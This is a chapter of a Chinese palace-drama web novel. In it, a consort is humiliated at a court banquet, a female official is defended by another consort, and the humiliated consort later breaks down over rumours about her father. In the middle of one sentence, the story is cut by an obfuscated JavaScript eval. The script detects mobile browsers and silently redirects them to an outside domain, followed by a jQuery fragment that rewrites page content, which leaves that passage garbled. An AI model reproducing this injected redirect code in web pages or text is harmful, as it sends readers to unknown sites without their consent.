19. 第十九章
作品:《月照江川》 册封礼后不久,皇后有意在后宫中宴请,让各位妃嫔前来,行一行飞花令做些雅事,以验证近月来各宫娘娘的学习成果。
湖边观雨亭内,阳光正好,微风和煦。皇后稳坐主位,身旁的宫女太监出入忙碌,为各位陆续结伴而来的妃嫔摆上些瓜果小食。
几日前秦怀月就被皇后叫来一同来赴宴,让她来做个公正评判,看一看这些月的教学成果。
秦怀月本就常来宫中,和大部分嫔妃有些来往,一来二去也熟络很多,来席的时候便与她们打过招呼,入席后随遇而安的坐下来,只当今日是来旁观。
皇后见人差不多到齐,开口简单几句定了主调:“皇帝日夜操劳,前朝操心国事也罢,后宫也操心各位皇子公主学习上的事,如此辛苦,各位也应该多做表率,学上些诗书经典,多为皇帝分忧才是。”
说罢,转了视线朝向斜对面,看那穿着一身天蓝清光缎,坐的端庄的苏妃:“我看大家都应该多跟苏妃学一学,请了这翰林院的女官来为皇帝排忧解难,看看人家为皇帝做的事情,你们也都好好学学,为后宫做个表率。”
苏妃听了这话,一时没意料到,慌忙站起身来谢过皇后,那姣好的面容上已经展露出来不堪的神情,任谁都听出来其中的折煞意味。
皇后朝她露出宽慰的笑容,还在继续加一把火:“苏妃不必自谦,自从秦检讨来后宫勤些之后,我见皇帝也常去你那里,你命好,膝下一儿一女,倒是让皇上冷落了这些去年才刚进宫的姐妹们,你得空,也要多宽慰她们才是。”
苏妃听完皇后娘娘这番看似夸奖实则指摘的话,面上已经是难堪至极,只得悻悻然道:“是,谨遵皇后娘娘教诲。”
待到坐下,苏妃的脸上依然发白,恍恍然半天才缓和过来些血色。
“母亲......”黎清担心的询问道。
“我没事。”苏妃抚上黎清的手,却攥得紧了些。
雅事继续进行,虽说飞花令以简单一个花字为主题,各宫娘娘都有认真在接,但是大多都是照葫芦画瓢,多是些通俗词汇,难有大雅之句。
除了平日里就爱看些诗抄的焕嫔接的不错,另一位昭嫔娘娘也接的极好,引得在场不少人注意。
“将花比为刀刃,以刃破晓寒冬,这一冷一暖,一柔一刚,两者虽然毫不相干,可互相衬托的不落俗套,昭嫔真是接的极好。”
焕嫔细细为众人拆解阐释了一番,这才又夸赞道:“早知昭嫔自幼饱读诗书,性格又直飒爽快,今日听了这出化花为刃的短句,才知你当真如这诗般畅快,焕嫔当真甘拜下风啊。”
坐的极远的昭嫔听了这话,只是淡然回了个不知真实情绪的笑容:“焕嫔谬赞,只是些凑韵乱组的词句,拼出些意象,牵强附会罢了。”
“平日里见不得这昭嫔谈起,怎么今日倒是说出来这点酸句子,显摆给谁看呢?”
不远处,正有一人与隔壁小声交头接耳。
另一人听了这话,也附和道:“是啊,平日只见昭嫔成天躲她那宫里,大门不出二门不迈,还以为是个没音的,谁知道今天憋来这么一出!”
声音就在秦怀月不远处,她闻声瞟了那处去,看那衣着华丽的二人脸生,似乎是焕嫔曾经与她提过的,两位去年新进宫的秀女。
皇后见飞花令已经轮流了一圈,各宫妃嫔愿不愿意与否,也都答了个遍,便看向秦怀月的方向询问:“秦检讨已经听了这各位嫔妃接的句子,可有哪位写的好,给大家赏析来听听?”
秦怀月突然被皇后点名,连忙展平官袍下摆,站起施礼:“各宫娘娘虽说所做之句各有千秋,各不相同,但是在秦某听来,正是那各花入各眼,乱花迷人眼,相互交织之下,也便成了今日这飞花令。”
皇后听完这话非常满意,笑赞道:“不愧是前朝科举考入的女官,就是这般识大体,懂风雅。”
秦怀月长舒一口气,暗暗收了后背一身冷汗,正要坐下时。
“皇后娘娘也就会这般谬赞罢了!”
旁侧簪一头华美点翠簪,正让云织微微摇扇的林贵妃,见皇后这般夸耀秦怀月,忍不住讥讽出声。
“这丫头自打来后宫,我就看出她惯会油嘴滑舌的本性,各位娘娘这也就学了几月诗经,听不出她那点话术也就罢了,怎的皇后也偏生帮了她去?”
皇后听了林贵妃这话,却并不应对,只是笑着看向秦怀月,看她该如何应答。
秦怀月听林贵妃这番指摘的话,又见皇后不语,不禁汗津津起来,脑内正快速运转想着如何应对时,远处那从不爱多事的昭嫔却幽幽开了口。
“林贵妃既然知道各位娘娘也就学了几月诗词,不更应该夸赞秦检讨吗?”
说罢,昭嫔看向方才那说她闲话的两人:“如今这般,都有人能做出些堪堪成形的诗句,长久下来,他日必定会出口成章,孟诗韩笔,这不正合皇帝所愿吗?”
方才说小话的那两人,见昭嫔眼神如恶鬼般阴冷,正死死的盯过来,一时之间捏着衣裙,被吓到不敢吱声。
皇后见有人解了这围,无人再议,便也没了顾虑,让宴席继续下去。
待到宴会结束,众人皆出御花园,一时之间人影寂寥,秦怀月这才向苏妃和黎清道了一声晚来,趁着四下无人,迎了那昭嫔而去。
“谢谢方才娘娘替秦某解围。”秦怀月向昭嫔行了一个君臣礼。
昭嫔见她来,摆出一副兴致缺缺的样子,眼神来回扫视秦怀月身上的官袍,提醒道:“你既受苏妃提携,与她交好也是应该,她方才脸色不太好,你得空多照顾她一些。”
说罢,转身也出了御花园的门。
待到秦怀月回到梅咏宫,才见苏妃正靠着床榻涕泪不止,身旁的黎清心急如焚,青蕊正忙进忙出为苏妃取来干净的水擦拭冷汗。
“秦检讨回来了?您学识广博,能否帮忙劝劝娘娘!”
玉蝶见秦怀月回来,如救命稻草般紧紧攥住她的袖袍,语调里带上了哭腔。
“娘娘从宴上回来就一直喊头疼,浑身冒冷汗,连带着想起来从前那些风言风语,方才竟然时而狂笑时而落泪,玉蝶害怕出什么事,已经去请了太医!”
见屋内哭闹忙碌乱作一团,秦怀月让玉蝶松了紧抓她袖口的手:“我去看看。”便迎上前去:“公主,娘娘现下如何了?”
黎清眼中已经含了泪光:“母亲她情绪不好,已经哭闹多时,现下才刚安稳下来,只喃喃魇语,黎清害怕她出事,已经候了多时,现下堪堪好转。”
秦怀月赶忙靠近苏妃坐下,只见那虚虚靠在床榻边的美艳女子脸色憔悴,泪痕在脸上斑驳了脂粉留下道道水痕,并未注意身边坐了人,只低声自言自语。
“我做错了什么,我只是想为皇上分忧,仅仅是这样就要被处处针对,从前这般也就算了,现下这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763129|174472||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
般又是为什么?为什么?”
苏妃看着情绪不对,眼神空洞,唇色白的吓人,秦怀月细细看过她的神色,问身旁的黎清:“娘娘是一回来就这样的吗?”
黎清摇摇头,说出实情:“姐姐有所不知,自你入宫以来,母亲就一直收到些秽物,早期多是些针扎娃娃之类,可前几日不知是哪个传出来的谣言,竟然说当年外公与鞑靼族人媾和!”
秦怀月在宫外也听过这些传言,当时只当有人醉后胡言,没想到这消息竟传入宫里,进了苏妃的耳中。
民间有好事者,讲那苏安通当年是在姜州密谋,假意协商归还土地,实则是为了鞑靼与北方部族周旋拖延时间,此事将皇帝也蒙在鼓里,几番阴差阳错下来,这才有今日的苏家。
跪趴苏妃跟前的黎清已是泫然欲泣:“母亲听完传言之后怒急攻心,平日里靠喝些汤药勉强安定心神,这才好转没多久,皇后娘娘明知故问,又在宴上点了母亲,让她想起从前种种,前仇旧恨交织之下,这才犯了老毛病。”
“苏奕,对,去找苏奕!”苏妃突然起身,方才恍惚间她突然想起来这事,急忙大声喊道:“快让他去找羌州就任的时大人求情,他当年与父亲同为战友,必定知道内幕,让他来为父亲证明!”
苏妃说完,不等人答复便骤然往外冲去,伤心欲绝中脚下失衡重心不稳,眼看摇晃着就要栽落地面。
秦怀月眼疾手快,见身旁孱弱不堪的身形摇晃着窜出,赶忙上去把她抱入怀中,一同跌坐地面。
“放开我,放开我,让我去找苏奕!”
苏妃拼命捶打秦怀月的胳膊,拼命挣扎,秦怀月怕她现下这副模样出宫只会出事,只得忍着,旁边几人见状忙上来稳住苏妃,正当里外乱作一团时,昭嫔带着丫鬟走了进来。
“我当梅咏宫这么清净,怎么一个人都没有,原来是在这里热闹。”
苏妃骤然听到昭嫔的声音,难以置信的抬头看她,一时停了手上捶打的动作:“是你?你怎得还敢来见我!”
见昭嫔神色不详沉默寡言的模样,苏妃缓缓爬起,站直了身姿,咬牙愤恨道:“那年你明明与阿奕有了婚约,偏要贪图荣华富贵,不惜将自己献予皇帝成就你们廖家,倒怪我们苏家比不得宫中奢靡,无福供养你这尊大佛!”
苏妃眼睛里已经弥漫上痛苦之色,颤抖着捏住身旁的桌角,强撑住自己的身形,对着面前的昭嫔咒骂。
“阿奕从小志愿随父征战,自你离开后,再不讲那满腔抱负,整日在家中苦痛潦倒,至今二十有五,从未婚娶啊!”
苏妃话到最后,竟是几近癫狂,丧失礼仪,直接伸出手指指着她骂道:“如今我父亲年近六十还在征战沙场,母亲苦苦支撑苏家上下,我又久居深宫不得出入,正因如此苏家才被这流言所困,都是因为你!才毁成今日这般田地!”
昭嫔被苏妃这样指着一通痛骂,面上却依旧不改颜色,只是向她福身行礼:“苏妃所言极是,我悉听尊便。”
“只是如今苏伯父此事只是谣传,几人嘴上说说也罢,倘若当真动了时大人,恐怕落有心人的口舌,证明了伪实。”
“你!”苏妃见昭嫔不为所动,话中确有几分道理,一时无策,只得失力坐在椅上,默默垂泪。
见二人暂时息鼓,秦怀月把方才坐地上沾灰的官服抖擞干净,起身看向面前静默的女人:“昭嫔娘娘,可否借一步说话。”